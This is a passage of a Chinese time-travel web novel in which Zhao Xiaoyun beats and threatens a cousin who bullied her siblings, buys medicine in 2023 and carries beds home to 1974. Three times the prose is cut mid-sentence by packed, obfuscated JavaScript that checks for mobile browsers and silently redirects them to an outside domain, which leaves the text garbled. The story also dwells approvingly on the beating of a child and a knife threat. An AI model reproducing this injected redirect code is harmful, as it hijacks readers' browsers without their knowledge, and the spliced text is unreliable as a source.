赵小芸突然觉得自己傻，爸妈虽然是宁愿吃点儿亏的性子，但绝对不是在大事上不计较的人。 陈翠芳看见赵小芸眼睛有些红，既心酸又心疼，伸手摸了摸她的脸：“傻闺女。” 赵卫国心里堵了一口气，都怪他没保护好家人。 赵卫国说：“玲玲小宇，你们先去洗洗，然后吃饭。” 等吃过饭再去老三家讨回公道！ …… 赵小芸一家人一个不落，全都来了大院这边。 赵小芸手里拎了一根不粗不细的棍子，看见院子里正在撵鸡玩儿的赵金蛋，把棍子藏在背后，推门进去走到他面前，抡起棍子直接抽了下去。 赵金蛋也看见了赵小芸，本来还嬉笑地瞪着她有恃无恐，没想到她会直接动手抽自己。 赵小芸用了全力，三根手指合在一起粗的棍子抽打在身上疼极了。 赵金蛋“嗷”地叫唤起来，他从没挨过打，之前被赵卫国打屁股还是第一次，现在是头一次感受到这么疼的疼痛。 赵小芸一棍子抽下去之后没停，迅速抽第二棍。 她也没有被愤怒冲昏了头脑，打的是既让赵金蛋感到疼，又不会真能把他打残的部位。 她可不会因为这么一个小畜生让自己背上官司，不值得。 赵金蛋要跑，赵小芸伸出脚绊了他一下，扑通重重地摔到了地上。 赵小芸一脚踩在他的后背上，阻止他起身，棍子抽在赵金蛋的屁股上，一下，两下，三下…… 赵金蛋嗷嗷哭喊，鼻涕眼泪糊了一脸：“爸！爸！妈救我！” 赵小芸轻呵了一声：“还有力气叫唤呢。” 赵卫民和王春花听见儿子的惨叫，赶紧跑了出来。 两人是从两位老人房间里出来的，也不知道刚才在里面干什么。 “赵小芸，你这是干什么！”王春花尖叫，看见赵金蛋被踩在地上用棍子抽打，吓得几乎魂飞魄散。 赵卫民叫喊的更大声，朝着赵小芸冲过来，要推开她。 赵卫国先一步拦住赵卫民。 赵卫民凶狠地瞪着赵卫国：“你干什么？” 赵卫国面无表情，表面上看似冷静地说道：“赵金蛋故意推小芸摔倒，磕破头差点儿没命。” “今天又和毛豆、柱子两人合伙儿把玲玲小宇打伤，之后推进大河下游那个深坑里，足足在淤泥脏水里泡了半天。 “现在小芸不过是抽他几棍子，算是便宜他了。” “赵卫民，你要是非要拦，我就把你也揍一顿。你也确实欠揍，教出这种混账东西，你自己说该不该挨揍？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14314583|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵卫民一边急着宝贝儿子被打，一边凶狠说：“二哥你在说什么我听不懂，小芸那是自己摔破脑袋的，跟我家金蛋儿有啥关系？” “二哥你给我让开，我家金蛋儿要是被打坏了，别怪我不认你这个二哥！” 不认，那就是要动手了？ 赵卫国捏了捏自己的拳头。 王春花也跟着冲了过来，陈翠芳跑过去拦住，赵晨宇和赵晨玲一起在旁边护着自己妈。 王春花要急疯了：“你们到底想干什么？” 陈翠芳冷笑：“想干什么？你是眼瞎了还是耳聋了？当然是教训你家赵金蛋。” 王春花听见旁边赵卫国说是赵金蛋推倒的赵小芸，眼睛闪了闪。 “怎么，心虚了？”陈翠芳瞧见了她的理亏样，心中的怒火烧的更旺，“你明明看见了是赵金蛋故意推小芸，你竟然瞒着不说，连救我闺女命的钱都不肯掏，你的良心是被狗吃了吗？” 王春花梗着脖子嘴硬：“你胡说八道些什么？明明就是赵小芸自己不小心摔倒的，跟我家金蛋儿有啥关系？你别血口喷人把脏水泼我家金蛋儿身上，我看你就是想要钱吧？” 陈翠芳愣住，王春花竟然这么不要脸是她没想到的。 她有猜到王春花会不承认，但没想到她竟然还会倒打一耙，污蔑自己碰瓷跟她讨钱。 世上怎么会有这么没皮没脸的人啊！ 王春花趁她发愣，用力推了她一下。 “妈！”赵晨玲和赵晨宇大喊一声，他们可还记着赵小芸叮嘱他们要保护妈妈的话。 双胞胎兄妹俩死死抱住王春花的两条腿。 “都给我住手！” 一道苍老的声音大吼。 几人都看过去，是赵家的老爷子赵德宗，也就是赵小芸的爷爷。 赵德宗抖着手指着院子里的人：“你看看你们在干什么？兄弟相残吗？像什么样子！” 争吵的声音顿时消失，院子安静下来。 一时间，只剩下棍子抽打皮肉的声音。 这会儿，赵小芸没停手，还在往赵金蛋屁股上狠狠抽打。 啪啪啪啪…… 在安静的院子里凸显的格外响亮。 赵金蛋刚才鬼哭狼嚎太用力，这会儿嗓子都哭喊哑了，但依旧努力求救：“爷爷！爷爷快救我！我好疼啊爷爷！” “臭屎蛋，你就放心吧！今天别说是爷爷来了，就是大罗神仙来了也救不了你。”赵小芸突然又从腰上解开几根编成麻花辫的柳树枝，踩着赵金蛋后背的脚挪到他脖子下面，高高扬起柳条当鞭子使，用力抽在他背上。 小宇的后背被赵金蛋打的满是淤青，她不能让弟弟吃亏，得用柳条鞭子抽回来。 柳条打人极疼，更不用说赵小芸还是把几根柳条编在一起，疼痛成倍增加。 不过虽然柳条能让人疼得厉害，但也只会伤皮肉，不会让人伤筋动骨。 一鞭子下去，赵金蛋只觉得被刮走了一层皮，尖锐的惨叫冲上天，把院子里的鸡都惊了一大跳，扑扇着翅膀飞走，空中飘落一根鸡毛。 赵德宗看着赵小芸浑身嚣张狠厉的气焰，仿佛把自己当空气，整个人都傻了，随即震怒：“小芸！给我停下！那是你亲堂弟，你竟然就这么下的去狠手啊！你看你，你看看你自己，有点儿女孩子家的样子吗？” “还不给我停下，连爷爷的话都敢不听了吗？” 22. 道歉 赵小芸扭头看向赵德宗，扬起嘴角一笑：“爷爷，赵金蛋实在是不像话，我三叔三婶儿又不会教孩子，今天我受累，替他们好好教教。” “简直胡闹！” “胡闹？”赵小芸用鞭子指着赵金蛋，“爷爷，您这话说的可就太偏心了，赵金蛋故意推我，我差点儿没命不是胡闹！欺负殴打玲玲和小宇，把他们推进坑里不是胡闹……我教训这种狠毒没心的小畜生，反而被您指责胡闹？” 赵德宗被一个孙女顶撞，眉头皱住，心中不悦：“纵使金蛋有错，也不应该由你一个小辈教训，还是用如此粗暴手段殴打。金蛋自有爹娘管教，你快些放了他” “至于他故意推倒你，自是他的不对，我会让他与他赔个不是。” 赵小芸嗤笑一声：“爷爷，您还真是会轻拿轻放，我差点儿没命，搁在您嘴里，就只是赔一句不是？那好，我今天就把赵金蛋砍了，到时候我也给他赔一句对不起，然后扯平，爷爷您说好不好呀？” 赵小芸从后腰里拔.出一把菜刀，锋利的刀刃悬在赵金蛋后脖颈上。 也不知道赵小芸是怎么藏的菜刀，这么吓人的一幕出现，院子里所有人都吓呆了。 一时间所有人都没敢说话。 赵小芸十分满意，用脚踢了踢赵金蛋：“臭屎蛋，你故意推我，知不知道错了？” 赵金蛋见爸妈和爷爷都不能救自己，心态全崩了，背上和屁股疼的厉害，鼻涕眼泪糊脸上，又脏又狼狈。 “我错了，我知道错了！对不起！姐对不起！”赵金蛋哭得打嗝。 赵小芸完全没同情赵金蛋：“你打玲玲和小宇，把他们推到深坑里，知道错了吗？” “知道了知道了！” “知道还不给他们认错？” 赵小芸抓着赵金蛋的头发，把他的头扭过来，脸面对双胞胎兄妹俩：“以后还敢欺负他们吗？” “疼疼疼……”赵金蛋感觉头皮都要被撕下来了，“玲玲，小宇，对不起我错了，我不应该打你们，不应该欺负你们，我以后再也不敢了。” 赵小芸终于松开了赵金蛋，转身看着赵德宗，一脸笑嘻嘻：“爷爷您看，我多会教孩子，赵金蛋都会认错了呢。” “金蛋儿！”王春花和赵卫民喊得撕心裂肺，跑过去抱起赵金蛋。 王春花掀开赵金蛋的上衣，扒下他的裤子，露出后背和屁股，被抽打的红肿青紫不堪，看着特别严重。 “我的宝贝儿子啊！”赵卫民看着儿子一身伤，心疼得眼泪都差点儿掉下来。 夫妻俩看向赵小芸，目光凶狠，好像要把她生吞活剥。 赵德宗抖着手指赵小芸：“你、你……” 面对趾高气昂的赵小芸，他转而指向陈翠芳和赵卫国：“你看看你们怎么教儿女的！” 赵卫国脸色难看，难得和亲爸顶嘴：“我闺女挺好的。” 赵德宗气得肝疼：“你们给我出去！” 赵小芸一手举着菜刀，一手举着柳条鞭子，冲赵德宗挥手：“爷爷，那我们走啦！以后再来这边玩儿，虽然咱们分家了，但这血脉可分不开，您还是我亲亲爷爷。” 赵德宗黑着一张老脸，并不是很想再看见她。 赵卫国走到王春花和赵卫民夫妻俩身边，说道：“小芸的医药费你们俩赶紧凑齐了给我送过来。” 说完，也不管夫妻俩是什么反应，扭头就走。 赵小芸这次可记着抓老母鸡。 她挑了一只最大最肥的老母鸡，拎在手里往外走。 大伯母李红霞“哎”了一声，但看见赵小芸手里的菜刀，要说的话顿时又咽进了肚子里。 就只能眼睁睁地看着赵小芸拎走了家里的宝贝老母鸡。 …… 赵小芸一家人从大院里出来，没急着回家，接着又去了毛豆家里。 毛豆的爸妈都在家。 赵小芸一家气势汹汹地来。 毛豆爸对上赵卫国冷厉的眼神，下意识站起来：“哟，卫国啊，你们家这是？” 赵卫国看了一眼毛豆，对方看见他们过来就赶紧跑走躲进屋里，说道：“你家毛豆把我家玲玲和小宇打了，还把他们推进河下游那个深坑里，辛亏现在坑里水浅，没出什么大事。” 毛豆爸的脸色顿时一变，回头冲屋里喊：“臭小子，你给我滚出来！” 毛豆藏在门后，就探出半颗头，两只眼睛谨慎地往外看。 毛豆妈突然出现在毛豆身后，抓住他的胳膊把人扯出来，往院子里推了一把。 毛豆面对赵小芸一家人，瞬间有些慌乱无措，但依旧梗着脖子喊：“他们俩不是没事吗？再说了，我又没动手打他们俩，是金蛋打的，你们去找他啊！” 赵小芸朝着毛豆走过来：“赵金蛋已经找过了，我教了教他怎么做人，他已经认识到自己的错误并承认了，还诚恳地和玲玲小宇道歉。现在轮到你了，毛豆。” 毛豆下意识有点儿害怕，往后退了几步。 毛豆爸一把把毛豆抓过来，大巴掌用力打在他的屁股上：“好你个臭小子，整天啥活儿都不敢，天天就知道和那个臭屎蛋在外面调皮捣蛋，现在还学会欺负人了？” 毛豆在亲爸手里挣扎，像只小鸡仔，啊啊大叫喊疼。 毛豆爸打了几下后就松手了，毛豆趁机逃开。 “卫国，你看我也打过这个臭小子了，这事儿要不就算了？” 毛豆妈拿了俩鸡蛋出来，给赵晨玲和赵晨宇手里一人塞了一个，看向陈翠芳客气地说道：“辛亏玲玲和小宇没出啥事，这俩鸡蛋就算是我们赔给俩孩子的。” 赵卫国看了一眼捂着屁股的毛豆，最终点点头：“这事儿主要是赵金蛋领头，看在孩子没出大事的份上，让毛豆再给玲玲和小宇道个歉，这事儿就到这里了。” 毛豆爸回头狠狠瞪了毛豆一眼：“臭小子，还不给玲玲和小宇道歉？” 毛豆撅着嘴，一脸不情愿，但和亲爸僵持了一会儿后，还是老老实实地走过来：“玲玲，小宇，对不起。” 赵小芸走到毛豆面前，一脚踢在他腿上。 毛豆捂着腿叫了一声，仰起头怒瞪赵小芸：“你干什么，我都道歉了！” “玲玲说你踢了她一脚，这一脚我帮我妹妹还了，看在毛叔和张婶儿的面子上，这次的事就两清了。”赵小芸看向毛豆爸妈，“毛叔，张婶儿，今天打搅了。” 赵小芸一家从毛豆家里出来。 后面传来毛豆的惨叫声，毛豆妈拎着扫帚打毛豆屁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14324053|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股：“小兔崽子天天在外面给我惹祸，家里的鸡蛋都为你赔完了！我让你在整天外面惹事，我让你不长记性……” 赵小芸回头看了一眼鸡飞狗跳的一家人。 从毛豆家出来，接下来又去了柱子家。 柱子家的人和王春花、赵卫民有的一拼，也都是脸皮厚，会胡搅蛮缠的人。 柱子奶奶把柱子护在身后，一口一个“我的宝贝孙子”。 “我的宝贝孙子凭啥认错？娃娃间打打闹闹不是很正常的嘛，那玲玲小宇不是没事吗？干啥这么较真儿，还一家子都堵到我们家门口了……咋地？想仗着人多欺负我的宝贝孙子啊？” “柱子奶奶，您这话说的也太不讲理了。”赵卫国额头上的皱纹都快挤出峡谷那么深了。 赵小芸瞥了一眼藏在奶奶身后冲他们吐舌头的柱子，眼神变冷。 她上前拉住赵卫国的袖子：“爸，跟他们家讲理没用，咱们先回家。” 柱子和柱子奶奶看着他们回去，一脸得意洋洋。 …… 回到家，赵小芸休息了会儿，穿过门去奶茶店上班。 到了奶茶店，齐宏已经到了。 赵小芸从兜里掏出袖珍手电筒给齐宏：“谢谢你的手电筒。” 齐宏没接：“你先拿着用吧，你每天回家走的那条巷子里没路灯，黑咕隆咚怪吓人的，拿着手电筒照路就不会那么害怕了。” 赵小芸犹豫了下：“那等过两天奶茶店的工作结束后，我再还给你。” 齐宏点了点头。 齐宏把自己的手机递给赵小芸：“我搜了一些老年机，价格挺便宜的，要不你先看看？” 说着，直接塞进了赵小芸手里。 “啊？”赵小芸吓了一跳，对于拥有手机虽然羡慕，但同时又对这种金贵玩意儿抱有一种敬畏，总怕稍微不小心就能把它弄坏了。 赵小芸小心翼翼两手拿手机，视线不受控制地落在屏幕上。 了解一下也好，等奶茶店的工作结束，以后再想了解这些信息估计就难了。 她认真地看起来。 这些手机看起来很漂亮，和齐宏的似乎没什么区别，不过价格的确如他所说很便宜，有些才二三百块钱。 当然，对于赵小芸来说，花二三百买手机，她还是舍不得。 齐宏给赵小芸简单讲解关于手机的内存、双卡双待、前后摄像头等最基础的信息。 赵小芸认真听着，再对比着看售卖手机的资料。 齐宏说完后就在旁边安静地看着她。 过了会儿，齐宏突然问道：“小芸，刚才你过来的时候，我看你脸色好像不太好，是出什么事了吗？” 赵小芸从手机上抬起头，看着齐宏点了下头：“我弟弟妹妹被欺负，差点儿出事。” 齐宏惊愕：“什么情况，出了什么事？” 同时心里也很疑惑，难道小芸的弟弟妹妹也跟着她从家里跑出来了？ 赵小芸没说那么详细，只说被打了。 齐宏关切道：“被打的严重吗？报案没有？打人的抓到了吗？要是抓到人，得让对方赔偿医药费。” 赵小芸直愣愣地瞪着眼：“啥？打架还要报案？是报……报公安吗？” 23. 买药 齐宏点头：“对啊，打人当然可以报警。” 赵小芸吃惊，原来2023年打架这种小事儿都得报、报警？公安还管打架？ 只是小孩儿打架，又不是打群架，哪里用得着报公安啊！ 不管2023年这里打架是咋个处理流程，反正在1974年，小孩子打架是肯定不能报公安的。 赵小芸摇摇头：“没报，我弟弟妹妹伤的也不重。” 齐宏不赞同：“下次再遇见这种事儿，尽管报警叫警察来处理。” “你弟弟妹妹受伤了？”店长突然走进来，“怎么受伤的？就算伤的不重也不能不重视，去医院看了吗？” 赵小芸连连摆手：“我妹妹手上被石子儿擦破了一块皮，我弟弟背上被打出了淤青，真的！都不严重，不用去医院。” 她的一张脸都僵住了，这咋就需要去医院了呢？ 2023年的人难道连破点儿皮、淤青都需要进医院看了？ 店长看着赵小芸眼里的不敢置信，仿佛去医院看病是多么荒唐的事儿一样。 不过又想了想，反应过来，赵小芸的老家在极其偏远的地区，那里的医疗条件一定不好，小病小灾估计都习惯了自己熬过去，从没想过去医院。 “如果确定是小伤，也不用非得去医院，不过可以去药店里拿点儿药。” “药店？”赵小芸疑问，难道是专门卖药的店吗？可是买药不应该去医院吗？ “对，可以去药店买点儿药。”齐宏拿回自己的手机，搜索附近的药店，给赵小芸指出，“这个药店最近，距离咱们这里才五六百米。” 赵小芸看着搜索的地图，只觉得好神奇，原来手机还能当地图用？ 这手机的功能也太强大了，不管什么东西，搜一搜就有！ “去药店里买药，直接拿钱就能买吗？不需要药方吗？” 齐宏把去药店的路线先截图下来，然后回答赵小芸：“不用，你说的这些外伤用不着药方，你要是不知道买什么药，等到了药店里可问销售员，让他们给你介绍。 “不过药店里同类型的药种类也很多，有时候他们会专门介绍贵的，你到时候就问他们有没有便宜一些的。” “谢谢，我记下了。” 接下来赵小芸和齐宏开始上班。 …… “呼——”赵小芸取下头套，脱下厚重的玩偶服，用手扇风，只觉得整个人都透过气了。 到了休息时间，她准备去药店里买药。 齐宏说要借给她电动车骑，可惜她不会骑。 往药店走的半路上，赵小芸自言自语：“以后肯定是要买一辆自行车的，找时间得学会骑车。” 可以先借用赵大满的自行车来学，既然这辆车不能要回来，那就让她拿来学，至少也算是收回点儿利息。 正想着，药店已经到了。 赵小芸进入药店里，看着货柜上满满当当的的药品，直接惊呆了。 好……好多药啊！ 药店里的销售员看见赵小芸，来到她面前：“你好，需要买什么药？” “我……”赵小芸咽了口唾沫，“手擦破皮流血，还有被打的淤青都需要什么药？” “破皮流血的话……那你拿瓶碘伏吧，碘伏可以消毒；或者云南白药粉，止血、止痛的；红霉素软膏也可以，能防止感染，促进伤口愈合……看你要哪种？或者碘伏配合其他的拿两种？”销售员热情地给赵小芸介绍。 “治疗淤青的有外用药和内服药，看你想用哪种？对了，淤青范围多大，受伤程度是什么？” 赵小芸张了张嘴。 这、这咋这么多药？咋选？选哪一种？ 赵小芸记起来齐宏说的：“我、我要便宜的。” 最后，赵小芸拿着一瓶碘伏、一盒创可贴，还有一瓶红花油从药店里出来。 一共花了二十一块零五毛。 以后家里谁万一再磕了碰了这些药都能用，赵小芸拎着药袋子回奶茶店。 看着袋子里的药，赵小芸心里感叹：这里买药可真方便啊！ 今天奶茶店里的客流量比前两天少了一些，玩偶的效果也弱了，晚上十点赵小芸和齐宏就下班了。 今天的工资是一百四十元。 晚上十点不算晚，在外面吃宵夜遛弯儿散步的人也有不少，今天赵小芸拒绝了让店长或者齐宏送自己。 穿过门，1974年这边晚上的世界放眼望去，没有丁点儿灯光，不过天上繁星璀璨，还有银河横跨天际。 赵小芸望着天上的星星：“这里虽然没有璀璨灯火，但星星也很漂亮。” 虽然两边算是同一个世界，但这里才是她的家。 今天陈翠芳和赵卫国依旧还没睡，等着赵小芸回来。 赵小芸回到屋里就听到两人下床的动静，直接把齐宏借给自己的手电筒打开。 袖珍手电筒的光并不强，但也照亮了整间不大的屋子。 陈翠芳和赵卫国下意识看向赵小芸手里的手电筒。 “这是……手电筒吗？” 赵小芸点头：“对，是和我一起打工的齐宏借给我用的。” 她和爸妈说过齐宏，对方热心帮过她，陈翠芳和赵卫国心里都很感谢对方。 陈翠芳盯着手电筒说：“好小的手电筒，要是不说这是手电筒，我都认不出来，瞧着像什么好看的装饰品。” “先不说这个了。”赵小芸提起手里的药袋子，“我今天在那边的药店里买了一些药，给玲玲和小宇涂上吧！” “药？”陈翠芳惊讶。 赵小芸给爸妈介绍：“这个是碘伏，可以给伤口消毒，这个是创可贴，直接贴在伤口上就行，还有这瓶红花油。” 红花油不用解释，这边也是有红花油这种药的。 赵小芸没有叫醒弟弟妹妹，直接给他俩涂药。 玲玲和小宇感觉到有人碰自己，迷迷糊糊地嘀咕，赵小芸轻声安抚：“没事儿，睡吧！” 听到熟悉的声音，两人又沉沉地睡去。 到了次日早上，赵晨玲和赵晨宇醒来，惊讶地闻见了自己身上的药味儿。 赵晨玲看着贴在自己手心伤口上的创可贴，瞪大圆溜溜的眼睛：“这是啥东西？” 赵晨宇闻着自己身上的红花油味儿，一脸迷糊：“我身上啥时候涂的药？” 兄妹俩跑出屋子大喊：“爸，妈，姐！” 陈翠芳刚吃过饭，正在院子里慢慢走动锻炼，她的身子渐渐发沉，坐久了就腰酸背痛，起来走走反而好点儿。 “玲玲小宇起来啦，快去吃早饭，在灶台上给你们温着饭呢。” 两人跑到陈翠芳面前。 赵晨玲伸出手露出创可贴：“妈，这是啥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14336104|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 赵晨宇指着自己的背上，疑惑：“妈，我背上涂药了吗？” “这个叫创可贴，是你们大姐买的药，你背上是昨晚上给你涂得药。”陈翠芳一脸慈祥。 赵晨玲眼睛里闪动着好奇的光芒：“创可贴？这个可真好，贴在手上我就不怕不小心碰到伤口了。” 碰到伤口好疼好疼的。 “妈，姐不在家吗？”赵晨玲扫了一圈院子里，没看见赵小芸，“姐去哪儿了？” “早上一大早吃过饭后就找夏生一起出去了，没说去哪儿。” …… 赵小芸早上去找方夏生，还端了一杯奶茶过来请他喝。 方夏生滋溜滋溜喝着奶茶，嘴里浓郁香甜的味道让人心情愉快。 “咋突然这么大方请我喝奶茶？”方夏生笑眯眯地看着赵小芸，“是不是有事找我帮忙？说吧，啥事？” 赵小芸嘿嘿一笑：“麻烦夏生哥啦！” 方夏生喝了奶茶，和赵小芸一起出门。 两人找毛豆把赵金蛋和柱子一起骗了出来，拖着两人去河下游的大坑。 到了坑边，赵小芸干脆利索地把赵金蛋和柱子推了下去。 两人惊恐尖叫摔到坑底，在泥水里滚了滚，满身狼狈，就如昨天的赵晨玲和赵晨宇一样惨。 赵小芸蹲在坑边，居高临下看着下面的两个人，一脸笑吟吟地说：“赵金蛋，柱子，坑里好玩儿吗？” 她说过，要让欺负玲玲和小宇的赵金蛋记住教训。 赵金蛋把她的弟弟妹妹推进坑里泡了半天，受着伤忍着疼，不知道何事才有人来救自己，担惊受怕了整整半天，以为她只是打回来一顿就算扯平了？ 赵金蛋怎么对玲玲和小宇的，她就以其人之道还治其人之身。 至于毛豆，她说过，看在他不是主犯，道歉还行，主要是看在毛叔和张婶儿的面子上，就算扯平了。 况且，她也要用毛豆把赵金蛋和柱子骗出来。 赵金蛋爬起来，擦着脸上的水和泥，指着上面的赵小芸大骂：“赵小芸你这个死丫头赔钱货，你竟然敢把我推进坑里！” 他明明已经道过歉了，凭什么还要这么害他！ 柱子也对赵小芸怒目而视：“等我爸妈和爷爷奶奶找来，要你好看！” 方夏生十分不爽两个小屁孩骂赵小芸，指着坑底笑呵呵地说：“也不知道这水里有没有水蛇？这里的淤泥这么深，里面肯定有吸血的蚂蟥，啧啧啧……赵金蛋，柱子，你俩可得小心，别被水蛇咬了，或者被蚂蟥吸到腿上。” 赵金蛋和柱子两人瞬间浑身僵硬，脸色惨白。 赵小芸幸灾乐祸地冲着两人笑：“蚂蟥最喜欢小孩子的血，又新鲜又甜美，要是钻进肉里，就会在你们身体里爬来爬起，你们俩可得小心点儿哟。” 两人顿时觉得腿上开始发疼发痒，好像真的有东西咬到了腿上，忍不住把脚从淤泥里拔.出来查看。 淤泥地滑，尤其是赵金蛋还胖，平衡能力差，一抬腿人就站不稳，脚下一滑摔倒，扑通蹲坐进泥水坑里。 赵小芸冲两人挥挥手：“再见！” 坑底传来赵金蛋和柱子撕心裂肺的喊叫。 “姐！姐我知道错了，我再也不敢了！救救我啊，别留我在坑里，我害怕！” “我道歉！我不要被蚂蟥吸血，呜呜呜救命啊！” 24. 搬床 赵小芸走路带风，脸上的笑容阳光灿烂，一看就知道心情格外好。 方夏生看了她一眼，趁着她高兴，状似不经意地问道：“你那个朋友齐宏是哪里人？” “他是……”赵小芸眯起眼看他，“你问齐宏干什么？” 方夏生爽朗一笑：“咱俩关系这么好，你的朋友就是我朋友，况且多个朋友多条路，我想请你介绍我俩认识认识，你觉得咋样？” 不咋样，齐宏和你都不是一个世界的人，我就算想介绍你俩认识也不行啊！赵小芸在心里嘀咕。 赵小芸摇头，还装作遗憾地叹了口气：“恐怕不行，齐宏家里是县城.的，距离咱们村里太远了，况且进县城还得开介绍信呢。” 方夏生有点儿惊讶：“县城.的？那你是怎么和他认识的？” “我住院的时候认识的，他当时有事去省城医院，因巧合帮了我一些忙，我俩就认识了。” 方夏生若有所思。 赵小芸是在省城医院住院，那个齐宏如果有事去省城医院，的确有可能认识她。 赵小芸偷瞄方夏生，耳朵有些发烫，编谎话骗夏生哥让她很心虚。 方夏生瞥见赵小芸红透的耳垂，眉头控制不住地紧紧皱在一起，只不过是提了几句齐宏而已，小芸就害羞的耳朵红，难道真的是喜欢对方？ 他心里有些不得劲儿，偏偏还不能发作出来。 “这么看来那个齐宏似乎的确挺好的，哪天我去县城.的时候，你再介绍给我认识一下吧！” 赵小芸笑容勉强，敷衍地回了句有机会再说。 回到家和方夏生分开后，赵小芸都觉得自己松了口气。 家里，陈翠芳和赵卫国借用方夏生家的架子车，从河里拉水回来，正给院子里的菜浇水。 赵小芸过去一起帮忙，一边浇菜一边说道：“爸，妈，我昨天把那边院子里的杂草清理完之后，在墙角根下发现了一些砖头，都还好好的，能用。我打算把那些砖头运回来，把咱家的灶台重新砌个新的。” 赵卫国惊喜道：“砖头？好好好！咱家的灶台是该重新砌新的了，我瞅见那灶膛都已经裂开两三条缝了。” 赵小芸放下水瓢：“那我现在就去搬砖头。” 赵小芸拎了个竹筐，穿过门直奔目的地，用竹筐运了好几趟才把砖头都运过来。 “终于运完了。”赵小芸捶着累的泛酸的腰，看着一堆砖头，没想到全收拾出来后，数量竟然比想象的还多。 陈翠芳和赵卫国都到后院帮忙搬砖头。 陈翠芳惊讶：“这么多砖头？这要是花钱买，得不少钱呢！” 甚至有钱也买不来，砖窑出砖数量有限，得紧着重要建设使用，哪里能轮得到普通老百姓买。 赵小芸口渴，去喝了点儿水，回来和爸妈说道：“我去那边再看看还有没有其他能用的东西，还有咱家的屋顶也得修修，我看破了好几个大洞呢。辛亏现在天气暖和，最近也没有雨水，万一哪天下雨得把屋里淹了。” 说完又穿过了门。 这次赵小芸在各个卧室里转了一圈，看着房间里的床眼睛放光。 家里现在只有一张床，爸妈睡着。 她和玲玲小宇睡的床，其实是用几块木板和几张条凳搭起来的。 赵小芸费了好大劲儿拆开了一张床，分批运回去，差点儿没把她的腰累断了。 陈翠芳和赵卫国惊呆了。 “这、这咋扛回来一张床？”陈翠芳说话都快结巴了，“不过这床可真好，你和玲玲小宇都只是睡木板，现在还能凑合，等到了冬天可就不行了，会把人冻坏。现在有床睡就好了，睡床可比木板舒服暖和。” “那边还有三张床，我下次再弄来一张，现在不行了，快累死我了。”赵小芸累的简直想一屁股坐到地上。 陈翠芳赶紧说：“你快去歇歇。” “嗯，我去歇会儿。”赵小芸指着床垫说，“对了爸妈，这张床垫你们先用，我躺上去试了试，这个床垫躺着特别舒服，连褥子都不用垫。妈你不是说每天睡的腰酸背疼吗？试试这个垫子，看能不能好点儿。” 陈翠芳乐呵地说道：“行，我试试。” …… 赵小芸回屋里躺下休息，小睡了一会儿，醒来时已经到中午。 床被爸妈搬进了屋里，今天晚上她和玲玲就能睡新床了。 等明天她再扛回来一张床给小宇，以后全家都能舒舒服服睡觉。 赵小芸刚睡醒眼睛有些迷糊，出来院子里又洗了一把脸，让自己精神起来。 玲玲和小宇也从外面回来了，赵小芸叫上弟弟妹妹：“走，进屋里，姐有好东西给你们看。” 双胞胎兄妹俩顿时眼睛放光。 最近赵小芸拿回家的黄焖鸡、大米、白面、牛奶、奶茶，都是好东西，两人期待地看着赵小芸：“姐，啥好东西？” “进来看看就知道了。” 进到屋里，赵晨玲和赵晨宇一眼就看见了一张大床。 赵晨玲惊呼：“哇！是床！好大的床！” 赵小芸揉揉小宇的头，他的头发细软，摸起来手感有些毛茸茸的：“还有一张床，明天弄回来，到时候你也有一张又大又舒服的新床睡。” “姐，真的吗？我竟然自己睡一张大床吗？”赵晨宇高兴的差点儿跳起来，再是文静的性子，也毕竟还是个才十岁的小孩儿，激动起来也是很活泼的。 “对！”赵小芸有些遗憾家里太小了，要是再大一些，她就可以再多扛一张床回来，到时候他们姐弟妹三人一人一张大床睡，晚上想怎么翻身就怎么翻。 不过没关系，等将来她再多赚些钱，就能再多盖几间屋子，到时候不止是每人一张床，还可以每人一间房。 独属于自己一个人的房间，想想就觉得开心。 “小芸，玲玲小宇，出来吃饭了。”赵卫国在院子里喊。 “来了！”赵小芸高声回道，又朝弟弟妹妹胳膊一挥，“走，咱们出去吃饭。” 今天中午赵卫国做的炸酱面。 家里没有肉，所以做的是素炸酱面，用干香菇泡发后切丁代替的肉，但闻着也特别香。 毛豆妈赔偿的俩鸡蛋也都加了进去，鸡蛋提前用油煎了煎，金黄的鸡蛋香喷喷，瞧着就十分有食欲。 面条是用纯小麦白面，赵卫国提前揉面团醒发了一个小时，擀出来的面条爽滑劲道。 午饭赵小芸吃了满满一大海碗，吃的肚子都撑圆溜了。 其他人也都一样。 吃饱肚子的感觉真的特别幸福。 刚吃过午饭，赵小芸搬了一张小板凳，坐在院门口外的梧桐树下休息。

